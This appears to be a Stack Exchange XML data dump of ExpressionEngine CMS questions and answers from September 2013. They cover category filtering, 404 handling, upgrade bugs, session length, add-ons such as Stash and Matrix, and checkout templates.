  <row Id="14177" PostTypeId="1" CreationDate="2013-09-30T07:27:01.173" Score="1" ViewCount="131" Body="&lt;p&gt;I'm having some trouble with the {category=&quot;not 8&quot;} for example. On my page I have two categories that a user might check when publishing a new entry. It's &quot;show on front page&quot; and &quot;do not show facebook comments&quot;. Based on these, I want to exclude these entries on certain places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front page, I want to exclude categories with category_id 8. If the entry has only category 8 checked, this works. However, if both category 8 and 9 are checked, this doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the article layout, I want to exclude category 9 if it's checked. This should hide facebook comments. However, same thing happens here. If the entry has both category 8 and 9 checked, this doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? How do you guys solve these kind of things? I'm guessing this is something you should see quite often?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2013-09-30T19:17:28.633" Title="How do I exclude certain entries based on one or more categories" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14178" PostTypeId="1" AcceptedAnswerId="14187" CreationDate="2013-09-30T09:21:12.050" Score="0" ViewCount="153" Body="&lt;p&gt;I have 'strict urls' enabled in my build, with a 404 pages set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, if an incorrect entry segment is used within a template group URL it is displaying the latest entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance if the following is loaded (doesn't actually exist):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain.com/greeting-cards/view/entry-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It loads the latest entry created in that channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have it display a 404 error?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-09-30T13:33:03.110" Title="Latest entry being used if invalid entry segment?" Tags="|channel-entries|url|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14179" PostTypeId="1" AcceptedAnswerId="14185" CreationDate="2013-09-30T09:38:24.410" Score="3" ViewCount="136" Body="&lt;p&gt;Sorry to keep whining to you guys :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading from 2.5.3 to 2.7.0 and then to 2.7.1 in the last few days,&#xA;I've discovered that creating new content and editing existing content are both failing with the complaint that &quot;no file was selected for upload&quot;. This happens at every instance of the native &quot;file&quot; datatype, and it happens in spite of none of them being marked as required.&#xA;A quick scan of the DB confirms that the &quot;not required&quot; setting is also correctly being stored in the exp_channel_fields table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly, this only happens when the attribute is intended to receive an image. Channels which can take an optional generic file upload can be entered without problems without an attachment being present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing obvious in the console, nothing at all in the log files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody seen this before?&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2013-09-30T12:23:46.310" Title="All &quot;file&quot; fieldtypes being required since upgrade" Tags="|file-uploads|ee2-upgrades|uploads|files|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14180" PostTypeId="1" CreationDate="2013-09-30T10:12:11.847" Score="1" ViewCount="184" Body="&lt;p&gt;is there a way to upload an big images -&gt; resize the big image to a small one -&gt; delete the original images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I`m not talking about Image Manipulations function, but an direct resize.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-10-01T15:02:05.183" Title="Resize uploaded images, delete original" Tags="|image|resize|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14181" PostTypeId="2" ParentId="14134" CreationDate="2013-09-30T10:15:13.803" Score="0" Body="&lt;p&gt;Turns out this is the easiest thing in the world, and I'm a lazy lazy boy for asking before reading the documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{assets_field}&#xA;    {if '{width'} &amp;gt;= '200px'}&#xA;        &amp;lt;img class=&quot;big-fella&quot;&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;img class=&quot;&quot;little-lad&quot;&amp;gt;&#xA;    {/if}&#xA;{/assets_field}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2113" LastActivityDate="2013-09-30T10:15:13.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14182" PostTypeId="1" CreationDate="2013-09-30T11:54:12.277" Score="1" ViewCount="125" Body="&lt;p&gt;I am running Transcribe add-on to manage a multi language website and I am trying the following but doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{transcribe:language_abbreviation}' == 'en'}&#xA;          {exp:structure:nav start_from=&quot;/about&quot; include_ul=&quot;no&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; It actually works but my template for some reason wasn't updating EE. Sorry about this.&lt;/p&gt;&#xA;" OwnerUserId="789" LastEditorUserId="789" LastEditDate="2013-10-02T18:38:59.417" LastActivityDate="2013-10-02T18:38:59.417" Title="Transcribe add-on: How to output content depending on the language selected" Tags="|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14184" PostTypeId="2" ParentId="14182" CreationDate="2013-09-30T12:22:59.287" Score="1" Body="&lt;p&gt;It actually works but my template for some reason wasn't updating EE. Sorry about this.&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-09-30T12:22:59.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14185" PostTypeId="2" ParentId="14179" CreationDate="2013-09-30T12:23:46.310" Score="4" Body="&lt;p&gt;I think it's a bug, look at this bug report:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19732&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19732&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-09-30T12:23:46.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14186" PostTypeId="2" ParentId="14158" CreationDate="2013-09-30T13:19:20.617" Score="2" Body="&lt;p&gt;I actually realized that the nested list is completely unnecessary. Since I am building the list off of the matrix row, I can simplify it to be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;expedition&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;    {expedition_days}&#xA;        {exp:stash:append_list name=&quot;expedition_days&quot;}&#xA;            {stash:item_day}{row_count}{/stash:item_day}&#xA;            {stash:item_location}{location}{/stash:item_location}&#xA;        {/exp:stash:append_list}&#xA;&#xA;        {resources}&#xA;            {exp:stash:append_list name=&quot;resources_{row_count}&quot;}&#xA;                {stash:item_title}{title}{/stash:item_title}&#xA;            {/exp:stash:append_list}&#xA;        {/resources}&#xA;    {/expedition_days}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-09-30T13:19:20.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14187" PostTypeId="2" ParentId="14178" CreationDate="2013-09-30T13:33:03.110" Score="1" Body="&lt;p&gt;The &lt;code&gt;exp:channel:entries&lt;/code&gt; just filter its listed entries if there is one entry that matches the segments 2 or 3. Otherwise it will list how many entries the &lt;code&gt;limit&lt;/code&gt; parameter allow.&lt;/p&gt;&#xA;&lt;p&gt;If you want to return a 404, you need to use &lt;code&gt;if no_results&lt;/code&gt; conditional variable and the &lt;code&gt;require_entry&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&amp;quot;1&amp;quot; require_entry=&amp;quot;yes&amp;quot; [...] }&#xA;     [...]&#xA;     {if no_results}&#xA;         {redirect=&amp;quot;404&amp;quot;}&#xA;     {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This parameter tells the channel tag that it should expect the URL to contain a valid entry ID or a valid URL title. If an ID is not found in the URL, the tag will not display any data. Normally, the channel tag will show something, even if the URL doesn’t point to a particular entry. For example, your main channel page will typically show several of your most recent entries. Whereas your “single entry” pages, like your comment page, will show a single entry based on information in the URL. However, if one of your single entry pages is requested, but it doesn’t contain a valid ID, this parameter will tell the tag that you do not wish the template to display anything.&lt;/p&gt;&#xA;&lt;p&gt;Note&lt;/p&gt;&#xA;&lt;p&gt;You will often use this parameter in conjunction with the if no_results conditional.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="343" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-09-30T13:33:03.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14188" PostTypeId="2" ParentId="13899" CreationDate="2013-09-30T14:17:41.423" Score="1" Body="&lt;p&gt;You might be having an issue with the &lt;a href=&quot;http://devot-ee.com/add-ons/hon-ee-pot-captcha&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hon-ee Pot Captcha&lt;/strong&gt; extension&lt;/a&gt;. If you're not using it, I recommend disabling it. If not, try adding a custom field in your Freeform form with the name of your Hon-ee Pot field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gave it away was looking at the browser's console. After submitting the form in Freeform, look for a URL in the console which is the ajax URL used to save the data. At least in Chrome, click that URL, which will take you to the &lt;em&gt;Network&lt;/em&gt; tab of the browser console. Click the same URL again there, and look at the &lt;em&gt;Preview&lt;/em&gt; or &lt;em&gt;Response&lt;/em&gt; tab, which will reveal the Hon-ee Pot Captcha error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry, but we think you might be a robot.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Extra reading: This thread from the old Solspace forums: &lt;a href=&quot;http://www.solspace.com/forums/viewthread/7490/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/7490/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-30T14:17:41.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14189" PostTypeId="1" AcceptedAnswerId="14190" CreationDate="2013-09-30T14:56:58.943" Score="1" ViewCount="26" Body="&lt;p&gt;I recently upgraded to 2.6.1 and I am running into an issue that seems like it could be parse order related, I have the following code that was working before the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3==&quot;summary&quot;}&#xA;     {exp:safecracker channel=&quot;jobs&quot;&#xA;          return=&quot;jobs/application/thanks/ENTRY_ID/{username}/{current_time format=&quot;%Y-%g-%d_%H-%i&quot;}&quot; &#xA;          {if segment_4 != &quot;new&quot;}entry_id=&quot;{segment_4}&quot;{/if}  &#xA;          preserve_checkboxes=&quot;yes&quot; &#xA;          include_jquery=&quot;yes&quot; &#xA;          safecracker_head=&quot;yes&quot; &#xA;          class=&quot;safecracker&quot; &#xA;          author_only=&quot;yes&quot;}&#xA;      {/exp:safecracker}&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The global {username} variable is returning the encoded &quot;%7Busername%7D&quot; opposed to actually showing the username.  I tested the {username} global variable inside the safecracker loop and outside of it and it works - just is not parsing in the parameters section of safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or thoughts?&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-09-30T15:11:59.827" Title="Parse Order 2.6.1 and SafeCracker" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14190" PostTypeId="2" ParentId="14189" CreationDate="2013-09-30T15:11:59.827" Score="2" Body="&lt;p&gt;I don't think the &lt;code&gt;{username}&lt;/code&gt; global variable is parsed early enough for it to be used within a parameter as you have there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple solutions: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You could use Rob Sanchez' &lt;a href=&quot;https://github.com/rsanchez/mo_variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt; add-on, which adds early parsed member variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is the username really necessary within your return URL? Since you are redirecting to the ENTRY_ID, you should be able to pull the username from the author of that entry within the template you're directing to. Within the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag, the &lt;code&gt;{author}&lt;/code&gt; and &lt;code&gt;{author_id}&lt;/code&gt; variables are available.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-30T15:11:59.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14191" PostTypeId="1" AcceptedAnswerId="14192" CreationDate="2013-09-30T16:23:53.907" Score="1" ViewCount="47" Body="&lt;p&gt;Is there a way to extend the login period for admins? Usually booted out withihn about 30mins of inactivity. I have a client who's wanting it to be much longer if possible...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A usergroup setting I've missed perhaps? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.7&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2013-09-30T16:31:42.417" Title="Extend login period for Admins" Tags="|ee2|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14192" PostTypeId="2" ParentId="14191" CreationDate="2013-09-30T16:31:42.417" Score="2" Body="&lt;p&gt;Check out the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#cp-session-ttl&quot; rel=&quot;nofollow&quot;&gt;Hidden Configuration Variables&lt;/a&gt; page in the User Guide. You can adjust the &lt;code&gt;$config['cp-session-ttl'] = xx;&lt;/code&gt; variable to extend the admin session length.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-30T16:31:42.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14195" PostTypeId="1" AcceptedAnswerId="14196" CreationDate="2013-09-30T17:51:26.350" Score="2" ViewCount="477" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;News&quot; style=&quot;nested&quot;}&#xA;&#xA;    &amp;lt;a href=&quot;{path='news/show/'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;              &#xA;&#xA;{/exp:channel:categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code generates a nav unordered list of all the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The categories are: News, Video, Press Releases. When users are on the 'news' page how do I give that category  an 'active' class in the nav so user understand they are on that page. &lt;/p&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="197" LastEditDate="2013-09-30T18:15:16.100" LastActivityDate="2014-06-19T01:24:08.373" Title="Adding an 'active' class to a category" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14196" PostTypeId="2" ParentId="14195" CreationDate="2013-09-30T18:17:31.013" Score="3" Body="&lt;p&gt;Assuming you are using category URL titles in your URL, like &lt;a href=&quot;http://domain.com/category/news&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/category/news&lt;/a&gt;, then you can simply add a conditional within the loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;News&quot; style=&quot;nested&quot;}&#xA;&#xA;    &amp;lt;a href=&quot;{path='news/show/'}&quot; {if segment_2 == category_url_title}class=&quot;active&quot;{/if} &amp;gt;{category_name}&amp;lt;/a&amp;gt;              &#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-30T18:17:31.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14197" PostTypeId="2" ParentId="14169" CreationDate="2013-09-30T18:26:23.310" Score="1" Body="&lt;p&gt;You might find Rob Sanchez' &lt;a href=&quot;https://github.com/rsanchez/mo_variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt; useful for this situation. The add-on adds variables for &lt;code&gt;{last_page_visited}&lt;/code&gt;, &lt;code&gt;{one_page_ago}&lt;/code&gt;, &lt;code&gt;{two_pages_ago}&lt;/code&gt;, etc. up to 5 pages back.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-30T18:26:23.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14199" PostTypeId="2" ParentId="14177" CreationDate="2013-09-30T19:07:19.580" Score="2" Body="&lt;p&gt;Yeh, it's a common and rather unintuitive problem. In your particular scenario, I'd say your use-case doesn't semantically fit well with the category system anyway: why not just use custom checkboxes? Even better, use the 'checkbox group' field provided in the PT Field Pack instead of the native ones, as they allow you to separate the value from the name. Much easier... &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/field-pack&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;code&gt;channel:entries&lt;/code&gt; tags you can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;search&lt;/a&gt; parameter to examine the values of your options and filter accordingly - something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries search:article_options=&quot;show_on_hp&quot;}&#xA;   &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-09-30T19:17:28.633" LastActivityDate="2013-09-30T19:17:28.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14200" PostTypeId="1" AcceptedAnswerId="14233" CreationDate="2013-09-30T19:11:19.257" Score="2" ViewCount="120" Body="&lt;p&gt;&lt;strong&gt;Edit: Problem solved in store update. Just download and install it.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing Store 2 on a new site, i am no longer able to register members during checkout. To be sure, I also tried with the code I can confirm works on store 1, but it doesn't work on store 2. My form looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also enabled &quot;Allow New Member Registrations&quot; in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can spot my problem, or give me some direction, it would keep me from ripping my hair out and be much appreciated! Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout &#xA;form_class=&quot;form default&quot;&#xA;next=&quot;butikk/personalia&quot;}&#xA;&#xA;{if no_items}&#xA;    {redirect=&quot;butikk/handlevogn&quot;}&#xA;{/if}&#xA;&#xA;&amp;lt;div class=&quot;two-col&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Faktureringsadresse&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Fornavn&amp;lt;/label&amp;gt;&#xA;        {field:billing_first_name} {error:billing_first_name}&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Etternavn&amp;lt;/label&amp;gt;&#xA;        {field:billing_last_name} {error:billing_last_name}&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Adresse&amp;lt;/label&amp;gt;&#xA;        {field:billing_address1} {error:billing_address1}&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Postnummer&amp;lt;/label&amp;gt;&#xA;        {field:billing_postcode} {error:billing_postcode}&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Sted&amp;lt;/label&amp;gt;&#xA;        {field:billing_address2} {error:billing_address2}&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Land&amp;lt;/label&amp;gt;&#xA;        {field:billing_country} {error:billing_country}&#xA;        &amp;lt;div class=&quot;bump&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Telefon&amp;lt;/label&amp;gt;&#xA;        {field:billing_phone} {error:billing_phone}&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;E-post&amp;lt;/label&amp;gt;&#xA;        {field:order_email} {error:order_email}&#xA;&#xA;        &amp;lt;span class=&quot;create-accountt&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;password&quot;&amp;gt;Passord&amp;lt;/label&amp;gt;&#xA;            {field:password} {error:password}&#xA;            &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Bekreft passord&amp;lt;/label&amp;gt;&#xA;            {field:password_confirm} {error:password_confirm}&#xA;        &amp;lt;/span&amp;gt;&#xA;        &amp;lt;label for=&quot;register_member&quot; class=&quot;inline toggle-create-account&quot;&amp;gt;&#xA;            {field:register_member} Opprett konto (valgfritt)&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Leveringsadresse&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;span class=&quot;same-as&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;&quot;&amp;gt;Fornavn&amp;lt;/label&amp;gt;&#xA;            {field:shipping_first_name} {error:shipping_first_name}&#xA;            &amp;lt;label for=&quot;&quot;&amp;gt;Etternavn&amp;lt;/label&amp;gt;&#xA;            {field:shipping_last_name} {error:shipping_last_name}&#xA;            &amp;lt;label for=&quot;shipping_address1&quot;&amp;gt;Adresse&amp;lt;/label&amp;gt;&#xA;            {field:shipping_address1} {error:shipping_address1}&#xA;            &amp;lt;label for=&quot;shipping_postcode&quot;&amp;gt;Postnummer&amp;lt;/label&amp;gt;&#xA;            {field:shipping_postcode} {error:shipping_postcode}&#xA;            &amp;lt;label for=&quot;&quot;&amp;gt;Sted&amp;lt;/label&amp;gt;&#xA;            {field:shipping_address2} {error:shipping_address2}&#xA;            &amp;lt;label for=&quot;shipping_country&quot;&amp;gt;Land&amp;lt;/label&amp;gt;&#xA;            {field:shipping_country} {error:shipping_country}&#xA;            &amp;lt;div class=&quot;bump&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;label for=&quot;shipping_phone&quot;&amp;gt;Telefon&amp;lt;/label&amp;gt;&#xA;            {field:shipping_phone} {error:shipping_phone}&#xA;        &amp;lt;/span&amp;gt;&#xA;        &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;inline toggle-same-as&quot;&amp;gt;&#xA;            {field:shipping_same_as_billing} Samme som faktureringsadresse&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- .two-col --&amp;gt;&#xA;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;span class=&quot;right&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Fortsett&quot; class=&quot;btn-flat green&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="1525" LastEditDate="2013-10-01T17:54:33.490" LastActivityDate="2013-10-01T22:21:55.450" Title="Register member during checkout doesn't work in Store2 [solved]" Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14201" PostTypeId="2" ParentId="14195" CreationDate="2013-09-30T20:51:48.230" Score="5" Body="&lt;p&gt;If you are using the &lt;code&gt;exp:channel:categories&lt;/code&gt; in dynamic mode, no matter if using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#use-category-url-titles-in-links&quot; rel=&quot;nofollow&quot;&gt;category_name&lt;/a&gt; on URL or category ID, you can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#conditional-variables&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{if active}&lt;/code&gt; conditional&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;News&quot; style=&quot;nested&quot;}&#xA;    &amp;lt;a href=&quot;{path='news/show/'}&quot; {if active} class=&quot;active&quot;{/if}&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are not on dynamic mode &lt;strong&gt;or&lt;/strong&gt; you're using &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt;, you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;News&quot; style=&quot;nested&quot;}&#xA;    &amp;lt;a href=&quot;{path='news/show/'}&quot; {if segment_X == category_url_title} class=&quot;active&quot;{/if}&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;segment_X&lt;/code&gt; by the segment related to your category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can set one class to every category and to the HTML or BODY element and use just CSS and child selector.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-19T01:24:08.373" LastActivityDate="2014-06-19T01:24:08.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14202" PostTypeId="2" ParentId="14180" CreationDate="2013-09-30T21:14:31.450" Score="1" Body="&lt;p&gt;Use Channel Images plugin to do that. Excellent plugin. &lt;a href=&quot;http://www.devdemon.com/channel_images&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-09-30T21:14:31.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14203" PostTypeId="1" AcceptedAnswerId="14218" CreationDate="2013-09-30T21:30:54.433" Score="4" ViewCount="492" Body="&lt;p&gt;I'm experiencing some really slow load times with my EE install. Other sections of the site that aren't managed by EE are loading very quickly, but any time I hit an EE-managed section it takes at least 6 seconds to load. After enabling debugging I'm seeing these results:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Loading Time: Base Classes&lt;/strong&gt; — 0.0023&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Controller Execution Time ( Ee / Index )&lt;/strong&gt; — 6.1133&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Total Execution Time&lt;/strong&gt; — 6.1158&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What might be the best way to track down the source of these slow loading times?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-10-16T21:48:09.307" Title="What are the recommended ways to get to the bottom of slow load times in EE?" Tags="|debugging|loading-time|speed|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14204" PostTypeId="1" AcceptedAnswerId="14209" CreationDate="2013-09-30T21:34:51.910" Score="2" ViewCount="816" Body="&lt;p&gt;I was updating a local EE install from EE 2.5.1 (20120529) to EE 2.7.1 (20130924).  I've updated Matrix 2.4.1 to 2.5.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When clicking on Matrix in the fieldtypes addon section i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1060&#xA;Duplicate column name 'is_draft'&#xA;ALTER TABLE `exp_matrix_data` ADD `is_draft` TINYINT(1) UNSIGNED DEFAULT '0'&#xA;Filename: /third_party/matrix/ft.matrix.php&#xA;Line Number: 509&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also got a error for Playa, but that seemed to correct itself on refresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's up?&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2014-01-24T13:34:43.550" Title="Matrix (2.5.8) update database error" Tags="|matrix|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
